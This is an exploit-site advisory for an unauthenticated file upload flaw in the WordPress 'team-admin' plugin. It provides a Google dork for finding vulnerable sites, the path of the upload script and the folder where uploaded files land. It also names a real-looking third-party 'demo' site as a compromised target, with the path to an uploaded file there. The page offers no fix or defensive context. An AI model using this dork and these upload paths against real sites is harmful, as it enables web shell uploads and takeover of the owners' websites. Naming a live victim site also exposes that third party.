Wordpress plugins team-admin upload File Vulnerability

2017.03.29

Turk@Xtra (IR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl://wp-content/plugins/team-admin/

#################################################################################
# Wordpress plugins team-admin upload File Vulnerability
# Author : Turk@Xtra
# Google Dork: inurl://wp-content/plugins/team-admin/
# Date:2017-03-14
# Tested on: Win 7, Linux
#################################################################################

# [!] Exploit : http://127.0.0.1/inurl:/wp-content/plugins/team-admin/2.php

# [!] File Location : http://127.0.0.1//wp-content/plugins/team-admin/uploads/thumb/Your File

#################################################################################

Demo :

http://www.browardhighschoolbaseball.com/wp-content/plugins/team-admin/2.php

File Location :

http://www.browardhighschoolbaseball.com/wp-content/plugins/team-admin/uploads/thumb/thumb_69823190untitled-1.gif

#################################################################################
# Thanks to : ~~> Blackwolf ||Ormazd ||Khatar ||mohammad Pn ||Criminal ||Rabinson.

# Iranian Anonymous

# Discovered By: Saman.Khan

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Wordpress plugins team-admin upload File Vulnerability

Dork: inurl://wp-content/plugins/team-admin/

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.